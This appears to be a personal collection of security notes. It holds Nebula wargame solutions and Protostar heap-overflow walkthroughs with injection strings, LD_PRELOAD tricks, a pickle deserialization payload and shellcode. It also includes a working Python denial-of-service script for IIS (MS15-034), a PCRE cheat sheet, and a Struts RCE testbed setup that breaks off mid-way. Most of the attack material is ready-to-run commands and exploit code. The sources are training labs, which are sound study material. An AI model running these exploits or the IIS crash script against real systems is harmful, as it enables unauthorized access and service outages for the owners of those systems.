# Nebula


Level 00

$ find / -user flag00 -perm -4000 2>/dev/null
/bin/.../flag00
/rofs/bin/.../flag00
$ /bin/.../flag00
Congrats, now run getflag to get your flag!
$ /bin/getflag
You have successfully executed getflag on a target account

Level 01

$ ln -s /bin/getflag /tmp/echo
$ PATH=/tmp:$PATH
$ /home/flag01/flag01
You have successfully executed getflag on a target account

Level 02

$ USER=';/bin/getflag;#'
$ /home/flag02/flag02
about to call system("/bin/echo ;/bin/getflag;# is cool")

You have successfully executed getflag on a target account

Level 03

$ echo -en '#!/bin/sh\n\n/bin/getflag > /tmp/flag03' > /home/flag03/writable.d/l03.sh
$ cat /tmp/flag03
You have successfully executed getflag on a target account

Level 04

$ ln -s /home/flag04/token /tmp/t0k3n
$ /home/flag04/flag04 /tmp/t0k3n
06508b5e-8909-4f38-b630-fdb148a848a2
$ su -l flag04
Password: 06508b5e-8909-4f38-b630-fdb148a848a2
$ /bin/getflag
You have successfully executed getflag on a target account

Level 05

$ tar xvzf /home/flag05/.backup/backup-19072011.tgz -C /tmp/.
.ssh/
.ssh/id_rsa.pub
.ssh/id_rsa
.ssh/authorized_keys
$ ssh -i /tmp/.ssh/id_rsa flag05@localhost /bin/getflag
You have successfully executed getflag on a target account

Level 06

$ cat /etc/passwd | grep flag06
flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh
$ echo 'flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh' > /tmp/flag06.pw
$ john /tmp/flag06.pw 
Loaded 1 password hash (Traditional DES [128/128 BS SSE2-16])
hello            (flag06)
$ su -l flag06
Password: hello
$ /bin/getflag
You have successfully executed getflag on a target account

Level 07

$ nc localhost 7007
GET /index.cgi?Host=localhost|/bin/getflag
Content-type: text/html

<html><head><title>Ping results</title></head><body><pre>
You have successfully executed getflag on a target account
</pre></body></html>

Level 08

$ wireshark capture.pcap
# Follow TCP Stream + Hexdump
000000D6  00 0d 0a 50 61 73 73 77 6f 72 64 3a 20 ...Password: 
000000B9  62 b
000000BA  61 a
000000BB  63 c
000000BC  6b k
000000BD  64 d
000000BE  6f o
000000BF  6f o
000000C0  72 r
000000C1  7f . <DEL>
000000C2  7f . <DEL>
000000C3  7f . <DEL>
000000C4  30 0
000000C5  30 0
000000C6  52 R
000000C7  6d m
000000C8  38 8
000000C9  7f . <DEL>
000000CA  61 a
000000CB  74 t
000000CC  65 e
000000CD  0d .
$ su -l flag08
Password: backd00Rmate
$ /bin/getflag 
You have successfully executed getflag on a target account

Level 09

$ echo '[email ${`/bin/echo;/usr/bin/id;/bin/getflag;/bin/echo`}]' > /tmp/l09
$ /home/flag09/flag09 /tmp/l09
PHP Notice:  Undefined offset: 2 in /home/flag09/flag09.php on line 22
PHP Notice:  Undefined variable: 
uid=1010(level09) gid=1010(level09) euid=990(flag09) groups=990(flag09),1010(level09)
You have successfully executed getflag on a target account

 in /home/flag09/flag09.php(15) : regexp code on line 1

Level 10

$ nc -v -k -l localhost 18211
$ for i in `seq 1 1000`; do ln -f -s /etc/hostname /tmp/token; /home/flag10/flag10 /tmp/token localhost & ln -f -s /home/flag10/token /tmp/token; done
$ nc -v -k -l localhost 18211
Connection from localhost port 18211 [tcp/*] accepted
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
$ su -l flag10
Password: 615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
$ /bin/getflag
You have successfully executed getflag on a target account

Level 11

$ PATH=/tmp:$PATH
$ ln -s /bin/getflag /tmp/c
$ cat /tmp/11a.py 
#!/usr/bin/env python

CL = 'Content-Length: '
command = 'c'

payload = command
encrypted = ''

key = len(payload) & 0xff
for i in payload:
 encrypted += chr(ord(i) ^ key)
 key -= ord(i)
 key &= 0xff

print CL + str(len(encrypted))
print encrypted
$ chmod +x /tmp/11a.py
$ /tmp/11a.py | /home/flag11/flag11
You have successfully executed getflag on a target account
$ TEMP=/tmp
$ cat /tmp/11b.py 
#!/usr/bin/env python

CL = 'Content-Length: '
command = '/bin/getflag;'
comment = '#'
padding = 'A' * (1024 - len(command) - len(comment))

payload = command + comment + padding
encrypted = ''

key = len(payload) & 0xff
for i in payload:
 encrypted += chr(ord(i) ^ key)
 key -= ord(i)
 key &= 0xff

print CL + str(len(encrypted))
print encrypted
$ chmod +x /tmp/11b.py
$ /tmp/11b.py | /home/flag11/flag11 
blue = 1024, length = 1024, pink = 1024
You have successfully executed getflag on a target account

Level 12

$  nc localhost 50001 
Password:  4754a4f4bd5787accd33de887b9250a0691dd198; /bin/getflag > /tmp/flag12 # 
Congrats, your token is 413**CARRIER LOST**
$  cat /tmp/flag12 
You have successfully executed getflag on a target account

Level 13

$ cp /home/flag13/flag13 /tmp/.
$ echo 'int getuid() { return 1000; }' > /tmp/libfake.c
$ gcc -shared /tmp/libfake.c -o /tmp/libfake.so
$ LD_PRELOAD=/tmp/libfake.so /tmp/flag13
your token is b705702b-76a8-42b0-8844-3adabbe5ac58
$ su -l flag13
Password: b705702b-76a8-42b0-8844-3adabbe5ac58
$ /bin/getflag
You have successfully executed getflag on a target account

Level 14

$ /home/flag14/flag14 -e
123456
13579;
$ cat /home/flag14/token
857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW.
$ cat /tmp/l14.py
#!/usr/bin/env python

import sys

token = sys.argv[1]

decrypted = ''
i = 0

for c in token:
 print '[' + c + '] -->',
 r = chr(ord(c) - i % 255)
 print r
 i += 1
 decrypted += r

print decrypted
$ /tmp/l14.py 857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW.
[8] --> 8
[5] --> 4
[7] --> 5
[:] --> 7
[g] --> c
[6] --> 1
[7] --> 1
[?] --> 8
[5] --> -
[A] --> 8
[B] --> 8
[B] --> 7
[o] --> c
[:] --> -
[B] --> 4
[t] --> e
[D] --> 4
[A] --> 0
[?] --> -
[t] --> a
[I] --> 5
[v] --> a
[L] --> 6
[D] --> -
[K] --> 3
[L] --> 3
[{] --> a
[M] --> 2
[Q] --> 5
[P] --> 3
[S] --> 5
[R] --> 3
[Q] --> 1
[W] --> 6
[W] --> 5
[.] --> 

8457c118-887c-4e40-a5a6-33a25353165
$ su -l flag14
Password: 8457c118-887c-4e40-a5a6-33a25353165
$ /bin/getflag
You have successfully executed getflag on a target account

Level 15

$ strace /home/flag15/flag15
...
open("/var/tmp/flag15/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
...
$ cat /tmp/libfake.c 
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) {
 system(SHELL);
 return 0;
}
$ cat /tmp/version 
GLIBC_2.0{};
$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=/tmp/version,-Bstatic -o /var/tmp/flag15/libc.so.6 /tmp/libfake.c
$ /home/flag15/flag15
$ /bin/getflag
You have successfully executed getflag on a target account

Level 16

$ cat /tmp/L16
#!/bin/bash

/bin/getflag > /tmp/flag16
$ nc localhost 1616
GET /index.cgi?username=`/*/L16`
Content-type: text/html

<html><head><title>Login resuls</title></head><body>Your login failed<br/>Would you like a cookie?<br/><br/></body></html>
$ cat /tmp/flag16
You have successfully executed getflag on a target account

Level 17

$ cat /tmp/l17.py
import os
import pickle
import socket

class GetFlag(object):
 def __reduce__(self):
  return (os.system, ('/bin/getflag > /tmp/flag17', ))

payload = pickle.dumps(GetFlag())

host = 'localhost'
port = 10007

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((host, port))
client.send(payload)
client.close()
$ python /tmp/l17.py
$ cat /tmp/flag17
You have successfully executed getflag on a target account

Level 18

$ cat /tmp/Starting 
/usr/bin/id
/bin/getflag
$ chmod +x /tmp/Starting
$ PATH=/tmp:$PATH
$ python -c "print 'login me\n'*1021 + 'closelog\n'*1021 + 'shell\n'" | /home/flag18/flag18 --rcfile -d /tmp/debug -v -v -v 2> /dev/null
uid=981(flag18) gid=1019(level18) groups=981(flag18),1019(level18)
You have successfully executed getflag on a target account

Level 19

$ cat /tmp/fork.c
#include <unistd.h>

int main(){
 pid_t pid = fork();
 if(pid == 0){
  // Child
  char *path = "/home/flag19/flag19";
  char *cmd[] = {"/bin/sh", "-c", "/bin/echo && /usr/bin/id && /bin/getflag"};
  sleep(2);
  execv(path, cmd);
 }
 return 0;
}
$ gcc -o /tmp/fork /tmp/fork.c
$ /tmp/fork
$ 
uid=1020(level19) gid=1020(level19) euid=980(flag19) groups=980(flag19),1020(level19)
You have successfully executed getflag on a target account
$ cat /tmp/fork.py
import os
import time

def child():
 time.sleep(2)
 os.execv('/home/flag19/flag19', ['/bin/sh', '-c', '/bin/echo && /usr/bin/id && /bin/getflag'])

def parent():
 pid = os.fork()
 if pid == 0:
  child()

parent()
$ python /tmp/fork.py
$ 
uid=1020(level19) gid=1020(level19) euid=980(flag19) groups=980(flag19),1020(level19)
You have successfully executed getflag on a target account

Reference

https://exploit-exercises.com/nebula/

# CVE-2015-1635: Check and exploit MS15-034


# cat cve-2015-1635.py
#!/usr/bin/env python


"""cve-2015-1635.py: DoS PoC"""


import argparse, BeautifulSoup, re, requests, socket, sys, urlparse


__author__  = 't0n1'
__credits__ = 'sha0'


LOW  = '2'
HIGH = '18446744073709551615'
UA   = 'Mozilla/5.0'
TOUT = 3
MAX  = 262144


s = requests.Session()


def parse_url(url):
 url = urlparse.urljoin(URL, url)
 parsed = urlparse.urlparse(url)
 return parsed.scheme + '://' + parsed.netloc + parsed.path


def get_content_length(url):
 h = {
  'User-agent': UA,
 }
 r = s.head(url, headers = h, verify = False)
 return int(r.headers['content-length'])
  

def get_resource(html):
 parsed = urlparse.urlparse(URL)
 urllist = []
 soup = BeautifulSoup.BeautifulSoup(html)
 for img in soup.findAll('img', src = True):
  urllist.append(parse_url(img['src']))
 for link in soup.findAll('a', href = True):
  urllist.append(parse_url(link['href']))
 for url in urllist:
  if parsed.netloc not in url:
   continue
  cl = get_content_length(url)
  if 0 < cl and cl <= MAX:
   print '[+] New URL = ' + url + ' | Content-Length = ' + str(cl) + ' <= ' + str(MAX)
   return url
 cl = get_content_length(URL)
 print '[+] Same URL = ' + URL + ' | Content-Length = ' + str(cl) + ' <= ' + str(MAX)
 return URL


def check_iis():
 global URL
 h = {
  'User-agent': UA,
 }
 r = s.get(URL, headers = h, verify = False)
 print '[+] URL = ' + URL
 if 'server' in r.headers.keys():
  server = r.headers['server']
  if 'iis' in server.lower():
   print '[+] Server HTTP Header = ' + server
   if r.status_code == 200:
    print '[+] Status Code = 200'
    URL = get_resource(r.text)
    return True
   else:
    print '[-] Status Code = ' + str(r.status_code)
    return False
  else:
   print '[-] Server HTTP Header = ' + server
   return False
 else:
  print '[-] Not Server HTTP Header'
  return False


def check_vulnerable():
 h = {
  'User-agent': UA,
  'Range': 'bytes=0-' + HIGH
 }
 r = s.get(URL, headers = h, verify = False)
 if r.status_code == 416:
  print '[+] >>>>>>>>>> Vulnerable | Status Code = 416'
  return True
 elif r.status_code == 400:
  print '[-] Not vulnerable | Status Code = 400 | Patched?'
  return False
 else:
  print '[-] Not vulnerable | Status Code = ' + str(r.status_code)
  return False


def exploit():
 h = {
  'User-agent': UA,
  'Range': 'bytes=' + LOW + '-' + HIGH
 }
 try:
  r = s.get(URL, headers = h, timeout = TOUT, verify = False)
  if r.status_code == 206:
   print '[-] Not vulnerable | Status Code = 206 | Kernel cache disabled?'
 except requests.exceptions.ConnectionError:
  pass
 except requests.exceptions.Timeout:
  print '[+] Blue Screen of Death! Game Over!'


parser = argparse.ArgumentParser()
parser.add_argument('-u', dest = 'url', help = 'Target', required = True)
parser.add_argument('-e', dest = 'exploit', action = 'store_true', help = 'Exploit', required = False)


args = parser.parse_args()
URL = args.url


if check_iis():
 if check_vulnerable():
  if args.exploit == True:
   exploit()

# ./cve-2015-1635.py -h
usage: cve-2015-1635.py [-h] -u URL [-e]

optional arguments:
  -h, --help  show this help message and exit
  -u URL      Target
  -e          Exploit

# ./cve-2015-1635.py -u http://127.0.0.1:8080
[+] URL = http://127.0.0.1:8080
[+] Server HTTP Header = Microsoft-IIS/7.5
[+] Status Code = 200
[+] New URL = http://127.0.0.1:8080/welcome.png | Content-Length = 184946 <= 262144
[+] >>>>>>>>>> Vulnerable | Status Code = 416

# ./cve-2015-1635.py -u http://127.0.0.1:8080 -e
[+] URL = http://127.0.0.1:8080
[+] Server HTTP Header = Microsoft-IIS/7.5
[+] Status Code = 200
[+] New URL = http://127.0.0.1:8080/welcome.png | Content-Length = 184946 <= 262144
[+] >>>>>>>>>> Vulnerable | Status Code = 416
[+] Blue Screen of Death! Game Over!


References

https://technet.microsoft.com/library/security/ms15-034

# PCRE (Perl Compatible Regular Expression)


General Tokens

\n Newline
\r Carriage return
\t Tab
\0 Null character

Anchors

\G Start of match. Will match at the position the previous successful match ended
^ Start of string (multiline mode). Will match after each newline character
$ End of string (multiline mode). Will match before each newline character
\A Start of string
\Z End of string. Will match before last newline character
\z End of string. Will match at the end of a string
\b A word boundary. Will match between \w and \W
\B Non-word boundary. Will match between two characters matched by \w

Meta Sequences

. Any single character
\s Any whitespace
\S Any non-whitespace
\d Any digit
\D Any non-digit
\w Any word
\W Any non-word
\X Any unicode sequences
\C Match one data unit
\R Unicode newline
\v Vertical whitespace
\h Horizontal whitespace
\H Non-horizontal whitespace
\K Reset match: sets the given position as the new start
\n Match nth subpattern (backreference)
\pX Unicode property X
\PX Non-unicode property X
\p{...} Unicode properties
\P{...} Non-unicode properties
\Q...\E Any characters between will be treated as literals
\k<name> Match subpattern 'name'
\k'name' Match subpattern 'name'
\k{name} Match subpattern 'name'
\gn Match nth subpattern
\g{n} Match nth subpattern
\g{-n} Match nth group before current position
\g'name' Recurse subpattern 'name'
\g<n> Recurse nth subpattern
\g'n' Recurse nth subpattern
\g<+n> Recurse nth relative subpattern
\g'+n' Recurse nth relative subpattern
\xYY Hex character YY
\x{YYYY} Hex character YYYY
\ddd Octal character ddd
\cY Control character Y
\b Backspace character
\ Makes any character literal

Quantifiers

a? Zero or one a
a* Zero or more of a
a+ One or more of a
a{3} Exactly 3 of a
a{3,} 3 or more of a
a{3,6} Between 3 and 6 of a
a* Greedy quantifier
a*? Lazy/Reluctant quantifier
a*+ Possessive quantifier

Group Constructs

(...) Capture everything enclosed
(a|b) a or b
(?:...) Match everything enclosed but won't create a capture group
(?>...) Atomic group
(?|...) Duplicate subpattern group
(?#...) Comment
(?'name'...) Named capturing group
(?<name>...) Named capturing group
(?P<name>...) Named capturing group
(?imsxXU) Inline modifiers
(?(...)|) Conditional statement
(?R) Recurse entire pattern
(?1) Recurse first subpattern
(?+1) Recurse first relative subpattern
(?&name) Match subpattern 'name'
(?P>name) Match subpattern 'name'
(?=...) Positive lookahead
(?!...) Negative lookahead
(?<=...) Positive lookbehind
(?<!...) Negative lookbehind

Character classes

[abc] A character: a, b or c
[^abc] A character except: a, b or c
[a-z] A character in the range: a-z
[a-z] A character not in the range: a-z
[a-zA-Z] A character in the range: a-z or A-Z
[[:alnum:]] Letter or digit
[[:alpha:]] Letter
[[:ascii:]] Ascii code in the range: 0-127
[[:blank:]] Space or tab
[[:cntrl:]] Control character
[[:digit:]] Digit
[[:graph:]] Visible character (not space)
[[:lower:]] Lower character
[[:print:]] Visible character
[[:punct:]] Visible punctuation character
[[:space:]] Whitespace
[[:upper:]] Uppercase character
[[:word:]] Word
[[:xdigit:]] Hexadecimal digit

Flags/Modifiers

g Global
m Multiline
i Case insensitive
x Ignore whitespace
s Single line
u Unicode
X Extended
U Ungreedy
A Anchor

Substitution

\0 Complete match contents
\1 Contents in capture group 1
\g<1> Contents in capture group 1
$1 Contents in capture group 1
${foo} Contents in capture group 'foo'
\{foo} Contents in capture group 'foo'
\g{foo} Contents in capture group 'foo'
\xYY Hexadecimal replacement
\x{YYZZ} Hexadecimal replacement
\t Tab
\r Carriage return
\n Newline
\f Form-feed

PCRE tester

# perl -Mre=debugcolor -e '"preval(" =~ /(^|\s)eval\(/'
Compiling REx "(^|\s)eval\("
Final program:
   1: OPEN1 (3)
   3:   BRANCH (5)
   4:     BOL (7)
   5:   BRANCH (FAIL)
   6:     POSIXD[\s] (7)
   7: CLOSE1 (9)
   9: EXACT <eval(> (12)
  12: END (0)
floating "eval(" at 0..1 (checking floating) minlen 5 
Guessing start of match in sv for REx "(^|\s)eval\(" against "preval("
Found floating substr "eval(" at offset 2...
Starting position does not contradict /^/m...
Guessed: match at offset 1
Matching REx "(^|\s)eval\(" against "reval("
   1 <preval(>|  1:OPEN1(3)
   1 <preval(>|  3:BRANCH(5)
   1 <preval(>|  4:  BOL(7)
                                    failed...
   1 <preval(>|  5:BRANCH(7)
   1 <preval(>|  6:  POSIXD[\s](7)
                                    failed...
                                  BRANCH failed...
   2 <preval(>|  1:OPEN1(3)
   2 <preval(>|  3:BRANCH(5)
   2 <preval(>|  4:  BOL(7)
                                    failed...
   2 <preval(>|  5:BRANCH(7)
   2 <preval(>|  6:  POSIXD[\s](7)
                                    failed...
                                  BRANCH failed...
Match failed
Freeing REx: "(^|\s)eval\("

# perl -Mre=debugcolor -e '"eval(" =~ /(^|\s)eval\(/'
Compiling REx "(^|\s)eval\("
Final program:
   1: OPEN1 (3)
   3:   BRANCH (5)
   4:     BOL (7)
   5:   BRANCH (FAIL)
   6:     POSIXD[\s] (7)
   7: CLOSE1 (9)
   9: EXACT <eval(> (12)
  12: END (0)
floating "eval(" at 0..1 (checking floating) minlen 5 
Guessing start of match in sv for REx "(^|\s)eval\(" against "eval("
Found floating substr "eval(" at offset 0...
Guessed: match at offset 0
Matching REx "(^|\s)eval\(" against "eval("
   0 <eval(>|  1:OPEN1(3)
   0 <eval(>|  3:BRANCH(5)
   0 <eval(>|  4:  BOL(7)
   0 <eval(>|  7:  CLOSE1(9)
   0 <eval(>|  9:  EXACT <eval(>(12)
   5 <eval(>| 12:  END(0)
Match successful!
Freeing REx: "(^|\s)eval\("


References

http://pcre.org/pcre.txt

# Protostar - Heap


Heap 0

$ cat heap0.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
  char name[64];
};

struct fp {
  int (*fp)();
};

void winner()
{
  printf("level passed\n");
}

void nowinner()
{
  printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
  struct data *d;
  struct fp *f;

  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  printf("data is at %p, fp is at %p\n", d, f);

  strcpy(d->name, argv[1]);
  
  f->fp();
}
$ file heap0
heap0: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
$ gdb heap0
(gdb) disassemble main
(gdb) p winner
$1 = {void (void)} 0x8048464 <winner>
(gdb) b *0x080484f2
(gdb) b *0x080484fd
(gdb) run AAAA
(gdb) x/20xw 0x804a008
0x804a008: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a018: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a028: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a038: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a048: 0x00000000 0x00000011 0x08048478 0x00000000
(gdb) c
(gdb) x/20xw 0x804a008
0x804a008: 0x41414141 0x00000000 0x00000000 0x00000000
0x804a018: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a028: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a038: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a048: 0x00000000 0x00000011 0x08048478 0x00000000
(gdb) quit
$ ./heap0 `python -c 'from struct import pack; print "A"*(0x804a050-0x804a008) + pack("<I", 0x08048464)'`
data is at 0x804a008, fp is at 0x804a050
level passed

Heap 1

$ cat heap1.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}
$ file heap1
heap1: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
$ gdb heap1
(gdb) disassemble main
(gdb) p winner
$1 = {void (void)} 0x8048494 <winner>
(gdb) x/i 0x80483cc
0x80483cc <puts@plt>: jmp    DWORD PTR ds:0x8049774
(gdb) x/xw 0x8049774
0x8049774 <_GLOBAL_OFFSET_TABLE_+36>: 0x080483d2
(gdb) b *0x080484ce
(gdb) b *0x080484e8
(gdb) b *0x080484fd
(gdb) b *0x08048517
(gdb) b *0x08048538
(gdb) b *0x08048555
(gdb) b *0x08048561
(gdb) run AAAA BBBB
(gdb) i r eax
eax            0x804a008  134520840
(gdb) c
(gdb) i r eax
eax            0x804a018  134520856
(gdb) c
(gdb) i r eax
eax            0x804a028  134520872
(gdb) c
(gdb) i r eax
eax            0x804a038  13452088
(gdb) c
(gdb) x/16xw 0x804a008
0x804a008:  0x00000001  0x0804a018  0x00000000  0x00000011
0x804a018:  0x00000000  0x00000000  0x00000000  0x00000011
0x804a028:  0x00000002  0x0804a038  0x00000000  0x00000011
0x804a038:  0x00000000  0x00000000  0x00000000  0x00020fc1
(gdb) quit
$ ./heap1 `python -c 'from struct import pack; print "A"*(0x804a02c-0x804a018) + pack("<I", 0x08049774), pack("<I", 0x08048494)'`
and we have a winner @ 1426618179

Heap 2

$ cat heap2.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

struct auth {
  char name[32];
  int auth;
};

struct auth *auth;
char *service;

int main(int argc, char **argv)
{
  char line[128];

  while(1) {
      printf("[ auth = %p, service = %p ]\n", auth, service);

      if(fgets(line, sizeof(line), stdin) == NULL) break;
      
      if(strncmp(line, "auth ", 5) == 0) {
          auth = malloc(sizeof(auth));
          memset(auth, 0, sizeof(auth));
          if(strlen(line + 5) < 31) {
              strcpy(auth->name, line + 5);
          }
      }
      if(strncmp(line, "reset", 5) == 0) {
          free(auth);
      }
      if(strncmp(line, "service", 6) == 0) {
          service = strdup(line + 7);
      }
      if(strncmp(line, "login", 5) == 0) {
          if(auth->auth) {
              printf("you have logged in already!\n");
          } else {
              printf("please enter your password\n");
          }
      }
  }
}
$ file heap2  
heap2: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
$ gdb heap2
(gdb) disassemble main
(gdb) b *0x08048942
(gdb) run
[ auth = (nil), service = (nil) ]
auth AAAA
(gdb) info proc map
process 1682
cmdline = '/opt/protostar/bin/heap2'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/heap2'
Mapped address spaces:

  Start Addr   End Addr       Size     Offset objfile
   0x8048000  0x804b000     0x3000          0        /opt/protostar/bin/heap2
   0x804b000  0x804c000     0x1000     0x3000        /opt/protostar/bin/heap2
   0x804c000  0x804d000     0x1000          0           [heap]
  0xb7e96000 0xb7e97000     0x1000          0        
  0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
  0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
  0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
  0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
  0xb7fd9000 0xb7fdc000     0x3000          0        
  0xb7fde000 0xb7fe2000     0x4000          0        
  0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
  0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
  0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
  0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
  0xbffeb000 0xc0000000    0x15000          0           [stack]
(gdb) x/12xw 0x804c000
0x804c000:  0x00000000  0x00000011  0x41414141  0x0000000a
0x804c010:  0x00000000  0x00000ff1  0x00000000  0x00000000
0x804c020:  0x00000000  0x00000000  0x00000000  0x00000000
(gdb) p &auth->name
$1 = (char (*)[32]) 0x804c008
(gdb) p &auth->auth
$2 = (int *) 0x804c028
(gdb) c
[ auth = 0x804c008, service = (nil) ]
serviceAAAABBBBCCCCDDDD
(gdb) x/12xw 0x804c000
0x804c000:  0x00000000  0x00000011  0x41414141  0x0000000a
0x804c010:  0x00000000  0x00000019  0x41414141  0x42424242
0x804c020:  0x43434343  0x44444444  0x0000000a  0x00000fd9
(gdb) x/xw &auth->auth
0x804c028:  0x0000000a
(gdb) c
[ auth = 0x804c008, service = 0x804c018 ]
login
you have logged in already!

Heap 3

$ cat heap3.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

void winner()
{
  printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  char *a, *b, *c;

  a = malloc(32);
  b = malloc(32);
  c = malloc(32);

  strcpy(a, argv[1]);
  strcpy(b, argv[2]);
  strcpy(c, argv[3]);

  free(c);
  free(b);
  free(a);

  printf("dynamite failed?\n");
}
$ file heap3
heap3: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
$ gdb heap3
(gdb) disassemble main
(gdb) b *0x080488c5
(gdb) p winner
$1 = {void (void)} 0x8048864 
(gdb) run A B C
(gdb) info proc map
process 1784
cmdline = '/opt/protostar/bin/heap3'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/heap3'
Mapped address spaces:

  Start Addr   End Addr       Size     Offset objfile
   0x8048000  0x804b000     0x3000          0        /opt/protostar/bin/heap3
   0x804b000  0x804c000     0x1000     0x3000        /opt/protostar/bin/heap3
   0x804c000  0x804d000     0x1000          0           [heap]
  0xb7e96000 0xb7e97000     0x1000          0        
  0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
  0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
  0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
  0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
  0xb7fd9000 0xb7fdc000     0x3000          0        
  0xb7fe0000 0xb7fe2000     0x2000          0        
  0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
  0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
  0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
  0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
  0xbffeb000 0xc0000000    0x15000          0           [stack]
(gdb) x/i 0x8048790
0x8048790 <puts@plt>: jmp    DWORD PTR ds:0x804b128
(gdb) x/xw 0x804b128
0x804b128 <_GLOBAL_OFFSET_TABLE_+64>: 0x08048796
(gdb) x/32xw 0x804c000
0x804c000:  0x00000000  0x00000029  0x00000000  0x00000000 shellcode = [push @winner; ret]
0x804c010:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c020:  0x00000000  0x00000000  0x00000000  0x00000029 [-4] [-4]
0x804c030:  0x00000000  0x00000000  0x00000000  0x00000000 [BBBB] [@got_puts - 12] [@shellcode]
0x804c040:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c050:  0x00000000  0x00000029  0x00000000  0x00000000
0x804c060:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c070:  0x00000000  0x00000000  0x00000000  0x00000f89
(gdb) quit
$ ./heap3 `python -c 'from struct import pack; print "A"*4 + "\x68\x64\x88\x04\x08\xc3" + "A"*22 + pack("<I", 0xfffffffc)*2, "B"*4 + pack("<I", 0x0804b128-12) + pack("<I", 0x804c00c), "C"'`
that wasn't too bad now, was it? @ 1426954122

Reference

https://exploit-exercises.com/protostar/

# CVE-2014-0094: Apache Struts ClassLoader manipulation RCE


Testbed

# wget http://mirrors.ibiblio.org/apache/tomcat/tomcat-8/v8.0.18/bin/apache-tomcat-8.0.18.tar.gz
# tar xvzf apache-tomcat-8.0.18.tar.gz
# mv apache-tomcat-8.0.18 /opt/tomcat
# cat /etc/environment
PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games"
export JAVA_HOME=/usr/lib/jvm/java-7-openjdk-amd64
export CATALINA_HOME=/opt/tomcat
# source /etc/environment
# grep -v -E "^(<\!| |-|$)" /opt/tomcat/conf/tomcat-users.xml
<?xml version='1.0' encoding='utf-8'?>
<tomcat-users>
<role rolename="manager-gui"/>
<user username="tomcat" password="s3cret" roles="manager-gui"/>
# $CATALINA_HOME/bin/startup.sh
Using CATALINA_BASE:   /opt/tomcat
Using CATALINA_HOME:   /opt/tomcat
Using CATALINA_TMPDIR: /opt/tomcat/temp
Using JRE_HOME:        /usr/lib/jvm/java-7-openjdk-amd64
Using CLASSPATH:       /opt/tomcat/bin/bootstrap.jar:/opt/tomcat/bin/tomcat-juli.jar
Tomcat started.
# wget http://archive.apache.org/dist/struts/binaries/struts-2.3.16-all.zip
# unzip struts-2.3.16-all.zip
# find struts-2.3.16 | grep '\.war'
struts-2.3.16/apps/struts2-portlet.war
struts-2.3.16/apps/struts2-blank.war
struts-2.3.16/apps/struts2-rest-showcase.war
struts-2.3.16/apps/struts2-mailreader.war
